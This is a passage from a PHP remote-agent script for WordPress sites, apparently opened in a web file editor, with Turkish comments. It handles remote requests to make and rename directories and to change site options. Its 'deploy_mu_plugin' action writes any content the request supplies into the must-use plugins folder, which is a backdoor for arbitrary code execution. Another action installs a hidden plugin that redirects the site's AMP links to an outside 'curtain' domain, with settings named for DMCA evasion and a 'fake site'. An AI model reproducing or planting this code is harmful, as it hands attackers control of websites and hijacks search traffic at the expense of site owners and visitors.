? $request['path'] : ''; if (strpos($path, '..') !== false) throw new Exception('Invalid path'); $rel_path = ltrim(str_replace('\\', '/', $path), '/'); $full_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_path); if (!mkdir($full_path, 0755, true)) throw new Exception('Failed to create directory'); $response = array('status' => 'created'); break; case 'fs_rename': $old_path = (is_array($request) && isset($request['old_path'])) ? $request['old_path'] : ''; $new_name = (is_array($request) && isset($request['new_name'])) ? $request['new_name'] : ''; if (strpos($old_path, '..') !== false || strpos($new_name, '..') !== false) throw new Exception('Invalid path'); $rel_old_path = ltrim(str_replace('\\', '/', $old_path), '/'); $full_old_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_old_path); $full_new_path = dirname($full_old_path) . '/' . $new_name; if (!rename($full_old_path, $full_new_path)) throw new Exception('Failed to rename'); $response = array('status' => 'renamed'); break; case 'update_mudortech_amp_settings': // MudorTech AMP API eklentisi ayarlarını güncelle // Eğer option'lar yoksa otomatik oluşturur (eklenti yüklü olmasa bile) $settings = (isset($request['settings']) && is_array($request['settings'])) ? $request['settings'] : array(); if (empty($settings)) throw new Exception('Settings array required'); $results = array(); $allowed_keys = array( 'cdn_subdomain', 'perdedomain', 'perdeaktif', 'cdnsub', 'kacsaatdmca', 'perdeamp', 'MasaustuKapat', 'yonlendirmeFiltrelemeAc', 'SadeceBotKontrol', 'googleIframeKorumasi', 'anasiteampENGEL', 'anasiteampENGEL2', 'mobilSiteKapat', 'sahtesite' ); // Default değerler (eklenti yüklü değilse bile çalışması için) $defaults = array( 'perdeaktif' => 0, 'cdnsub' => 0, 'perdeamp' => 0, 'MasaustuKapat' => 0, 'yonlendirmeFiltrelemeAc' => 0, 'SadeceBotKontrol' => 0, 'googleIframeKorumasi' => 0, 'anasiteampENGEL' => 0, 'anasiteampENGEL2' => 0, 'mobilSiteKapat' => 0, 'kacsaatdmca' => 0, 'cdn_subdomain' => '', 'perdedomain' => '', 'sahtesite' => '' ); // Önce tüm option'ların varlığını kontrol et, yoksa default değerlerle oluştur foreach ($allowed_keys as $key) { $current_value = get_option($key, false); // Eğer option yoksa (false döndü) ve default değeri varsa, oluştur if ($current_value === false && isset($defaults[$key])) { add_option($key, $defaults[$key], '', 'no'); // autoload = 'no' } } // Şimdi gelen ayarları güncelle foreach ($settings as $key => $value) { if (!in_array($key, $allowed_keys)) { $results[$key] = array('success' => false, 'error' => 'Invalid key'); continue; } // Boolean değerleri düzgün işle if (in_array($key, array('perdeaktif', 'cdnsub', 'perdeamp', 'MasaustuKapat', 'yonlendirmeFiltrelemeAc', 'SadeceBotKontrol', 'googleIframeKorumasi', 'anasiteampENGEL', 'anasiteampENGEL2', 'mobilSiteKapat'))) { $value = ($value === true || $value === '1' || $value === 1) ? 1 : 0; } // update_option() zaten option yoksa oluşturur, ama biz yukarıda oluşturduk // Bu yüzden direkt güncelleyebiliriz $current_value_before = get_option($key, false); $update_result = update_option($key, $value); $was_created = ($current_value_before === false); $results[$key] = array('success' => $update_result !== false, 'value' => $value, 'created' => $was_created); } // DMCA koruma random değeri oluştur (eğer kacsaatdmca > 0 ise ve dmca_koruma yoksa) if (isset($settings['kacsaatdmca']) && intval($settings['kacsaatdmca']) > 0) { $dmca_koruma = get_option('dmca_koruma', false); if ($dmca_koruma === false || empty($dmca_koruma)) { $random = sprintf('%05d', rand(0, 99999)); add_option('dmca_koruma', $random, '', 'no'); } } // Cache flush if (function_exists('wp_cache_flush')) { wp_cache_flush(); } $response = array('status' => 'success', 'updated' => $results); break; case 'get_amp_settings': // Get AMP plugin settings - Check for accelerated-mobile-pages plugin if (!function_exists('is_plugin_active')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } // Check for accelerated-mobile-pages plugin (AMP for WP) - Check if installed (not just active) $is_amp_installed = false; $is_amp_active = false; $all_plugins = get_plugins(); foreach ($all_plugins as $path => $data) { // Check for AMP for WP plugin if (strpos($path, 'accelerated-mobile-pages') !== false || strpos($path, 'accelerated-moblie-pages') !== false) { $is_amp_installed = true; $is_amp_active = is_plugin_active($path); break; } // Check for WordPress official AMP plugin if (strpos($path, '/amp.php') !== false || strpos($path, 'amp/amp.php') !== false) { $is_amp_installed = true; $is_amp_active = is_plugin_active($path); break; } } // Get AMP for WP options (uses redux_builder_amp option) $amp_options = get_option('redux_builder_amp', array()); // Get perde domain settings $cdn_subdomain = get_option('cdn_subdomain', ''); $perdedomain = get_option('perdedomain', ''); $perdeaktif = get_option('perdeaktif', '0'); $perdeamp = get_option('perdeamp', '0'); $cdnsub = get_option('cdnsub', '0'); $kacsaatdmca = get_option('kacsaatdmca', '0'); // AMP for WP uses different option keys $paired_url_structure = isset($amp_options['ampforwp-url-type']) ? $amp_options['ampforwp-url-type'] : 'query_var'; $theme_support = isset($amp_options['ampforwp-design-type']) ? $amp_options['ampforwp-design-type'] : 'reader'; $mobile_redirect = isset($amp_options['ampforwp-mobile-redirection']) ? (bool)$amp_options['ampforwp-mobile-redirection'] : false; $response = array( 'is_amp_installed' => $is_amp_installed, // Changed: Check if installed, not just active 'is_amp_active' => $is_amp_active, // Keep track of active status separately 'options' => $amp_options, 'paired_url_structure' => $paired_url_structure, 'theme_support' => $theme_support, 'mobile_redirect' => $mobile_redirect, // Perde domain settings 'cdn_subdomain' => $cdn_subdomain, 'perdedomain' => $perdedomain, 'perdeaktif' => $perdeaktif, 'perdeamp' => $perdeamp, 'cdnsub' => $cdnsub, 'kacsaatdmca' => $kacsaatdmca ); break; case 'deploy_mu_plugin': // Deploy a Must-Use Plugin $plugin_name = isset($request['plugin_name']) ? sanitize_file_name($request['plugin_name']) : ''; $plugin_content = isset($request['plugin_content']) ? $request['plugin_content'] : ''; if (empty($plugin_name) || empty($plugin_content)) { throw new Exception('Plugin name and content are required'); } // Define mu-plugins directory $mu_plugins_dir = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins'; // Ensure mu-plugins directory exists if (!file_exists($mu_plugins_dir)) { if (!mkdir($mu_plugins_dir, 0755, true)) { throw new Exception('Failed to create mu-plugins directory'); } } if (!file_exists($mu_plugins_dir)) { if (!mkdir($mu_plugins_dir, 0755, true)) { throw new Exception('Failed to create mu-plugins directory'); } } // Write plugin file $plugin_file = $mu_plugins_dir . '/' . $plugin_name; $result = file_put_contents($plugin_file, $plugin_content); if ($result === false) { throw new Exception('Failed to write MU plugin file'); } // Flush cache if (function_exists('wp_cache_flush')) { wp_cache_flush(); } $response = array( 'success' => true, 'message' => 'MU Plugin deployed successfully', 'plugin_file' => $plugin_file, 'plugin_size' => $result ); break; case 'update_amp_settings': // Update AMP plugin settings - For accelerated-mobile-pages (AMP for WP) if (!function_exists('is_plugin_active')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } // Check for accelerated-mobile-pages plugin $is_amp_active = false; $all_plugins = get_plugins(); $amp_plugin_path = null; foreach ($all_plugins as $path => $data) { if (strpos($path, 'accelerated-mobile-pages') !== false || strpos($path, 'accelerated-moblie-pages') !== false) { $is_amp_active = is_plugin_active($path); $amp_plugin_path = $path; break; } } if (!$is_amp_active) { throw new Exception('AMP plugin (accelerated-mobile-pages) is not active'); } $settings_to_update = isset($request['settings']) ? $request['settings'] : array(); if (empty($settings_to_update)) { throw new Exception('No settings provided'); } // Get current AMP for WP options (uses redux_builder_amp) $amp_options = get_option('redux_builder_amp', array()); // Update AMP plugin options foreach ($settings_to_update as $key => $value) { // Check if this is a perde domain setting if (in_array($key, array('cdn_subdomain', 'perdedomain', 'perdeaktif', 'perdeamp', 'cdnsub', 'kacsaatdmca'))) { // Update perde domain settings separately update_option($key, $value); } else { // Map standard keys to AMP for WP keys $amp_for_wp_key = $key; if ($key === 'paired_url_structure') { $amp_for_wp_key = 'ampforwp-url-type'; } elseif ($key === 'theme_support') { $amp_for_wp_key = 'ampforwp-design-type'; } elseif ($key === 'mobile_redirect') { $amp_for_wp_key = 'ampforwp-mobile-redirection'; } // Update AMP for WP options $amp_options[$amp_for_wp_key] = $value; } } // Save updated AMP for WP options $update_result = update_option('redux_builder_amp', $amp_options); // Flush rewrite rules if URL structure changed if (isset($settings_to_update['paired_url_structure'])) { flush_rewrite_rules(); } // Clear caches if (function_exists('wp_cache_flush')) { wp_cache_flush(); } $response = array( 'status' => 'success', 'message' => 'AMP settings updated successfully', 'updated_options' => $amp_options, 'perde_settings_updated' => array_intersect_key($settings_to_update, array_flip(array('cdn_subdomain', 'perdedomain', 'perdeaktif', 'perdeamp', 'cdnsub', 'kacsaatdmca'))) ); break; case 'install_mudortech_amp_mu_plugin': // MudorTech AMP API MU-Plugin'i yükle (eklenti olmadan çalışır) if (!$mwp_has_wp) { throw new Exception('WordPress not installed'); } $mu_dir = WP_CONTENT_DIR . '/mu-plugins'; if (!file_exists($mu_dir)) { mkdir($mu_dir, 0755, true); } // Remove old file if exists if (file_exists($mu_dir . '/mudortech-amp-api.php')) { unlink($mu_dir . '/mudortech-amp-api.php'); } $code_lines = array( '<?php', '/**', ' * Plugin Name: MudorTech AMP API', ' * Description: AMP URL management via API. No plugin required.', ' * Version: 1.0.0', ' */', '', 'if (!defined(\'ABSPATH\')) exit;', '', '// AMP HTML Link Modifier (MudorTech AMP ile TAM UYUMLU)', 'function mudortech_amp_buffer_callback($buffer) {', ' $kacsaatdmca_value = intval(get_option(\'kacsaatdmca\'));', ' ', ' if ($kacsaatdmca_value > 0) {', ' // DMCA koruması aktif', ' $perdedomain = get_option(\'perdedomain\');', ' $random = get_option(\'dmca_koruma\');', ' if (empty($random)) {', ' $random = sprintf(\'%05d\', rand(0, 99999));', ' update_option(\'dmca_koruma\', $random);', ' }', ' $buffer = str_replace(\'<link rel="amphtml" href="\' . get_home_url(), \'<link rel="amphtml" href="\' . $perdedomain, $buffer);', ' $buffer = preg_replace(\'/(<link rel="amphtml" href="[^"]*)(".*?>)/\', \'$1?v=\' . $random . \'$2\', $buffer);', ' if (get_option(\'perdeamp\') == \'1\') {', ' $buffer = preg_replace(\'/(<link rel="amphtml" href="[^"]*)\\/amp(\\/[^"]*")/\', \'$1$2\', $buffer);', ' }', ' } else {', ' // DMCA koruması yok', ' $perdedomain = get_option(\'perdedomain\');', ' $buffer = str_replace(\'<link rel="amphtml" href="\' . get_home_url(), \'<link rel="amphtml" href="\' . $perdedomain, $buffer);', ' if (get_option(\'perdeamp\') == \'1\') {', ' $buffer = preg_replace(\'/(<link rel="amphtml" href="[^"]*)\\/amp(\\/[^"]*")/\', \'$1$2\', $buffer);', ' }', ' }', ' ', ' return $buffer;', '}', '', 'function mudortech_amp_buffer_start() {', ' ob_start(\'mudortech_amp_buffer_callback\');', '}', '', 'function mudortech_amp_buffer_end() {', ' ob_end_flush();', '}', '', '// MudorTech AMP ile TAM AYNI hook\'lar ve kontrol', 'if (get_option(\'perdeaktif\') == \'1\') {', ' add_action(\'after_setup_theme\', \'mudortech_amp_buffer_start\', 1);', ' add_action(\'shutdown\', \'mudortech_amp_buffer_end\', 999);', '}', '', '// Add meta generator', 'add_action(\'wp_head\', function(){', ' echo \'<meta name="generator" content="mudortech-amp-api"/>\';', '}, 1);' ); $code = implode("\n", $code_lines); $file_path = $mu_dir . '/mudortech-amp-api.php'; $result = file_put_contents($file_path, $code); if (function_exists('wp_cache_flush')) wp_cache_flush(); if ($result !== false) { $response = array('status' => 'success', 'message' => 'MudorTech AMP API MU-Plugin installed. Plugin not required!'); } else { $response = array('status' => 'error', 'message' => 'Failed to write MU-Plugin file.'); } break; default: throw new Exception("Unknown action: $action"); } // Log successful response if (isset($requestId)) { error_log("MWP Agent Request SUCCESS [{$requestId}] - Action: {$action}, Response size: " . strlen(json_encode($response))); } mwp_send_response(array('success' => true, 'data' => $response)); } catch (Throwable $e) { // Log detailed error information $requestId = isset($requestId) ? $requestId : 'unknown'; $errorDetails = array( 'request_id' => $requestId, 'message' => $e->getMessage(), 'file' => $e->getFile(), 'line' => $e->getLine(), 'action' => isset($action) ? $action : 'unknown', 'type' => get_class($e), 'trace' => $e->getTraceAsString(), 'memory_usage' => memory_get_usage(true), 'memory_peak' => memory_get_peak_usage(true) ); $logMsg = 'MWP Agent Exception [' . date('Y-m-d H:i:s') . '] [Request: ' . $requestId . ']: ' . json_encode($errorDetails, JSON_UNESCAPED_UNICODE); error_log($logMsg); // Try to write to a custom log file $logFile = dirname(__FILE__) . '/mwp-agent-errors.log'; @file_put_contents($logFile, $logMsg . "\n", FILE_APPEND); // Send error response $errorMessage = $e->getMessage(); if (empty($errorMessage)) { $errorMessage = 'An error occurred: ' . get_class($e); } // Ensure we can send response even if output buffering is messed up try { mwp_send_response(array('success' => false, 'error' => $errorMessage, 'request_id' => $requestId), 500); } catch (Throwable $responseError) { // Last resort: direct output while (ob_get_level() > 0) { @ob_end_clean(); } if (!headers_sent()) { header('Content-Type: application/json; charset=utf-8'); http_response_code(500); } $response = json_encode(array('success' => false, 'error' => $errorMessage, 'request_id' => $requestId), JSON_UNESCAPED_UNICODE); if ($response === false) { $response = '{"success":false,"error":"Exception occurred but JSON encoding failed","request_id":"' . $requestId . '"}'; } echo $response; exit; } } // Log successful request completion if (isset($requestId)) { $requestDuration = microtime(true) - $requestStartTime; error_log("MWP Agent Request END [{$requestId}] - Action: {$action}, Duration: " . round($requestDuration, 3) . "s"); }
Save
Cancel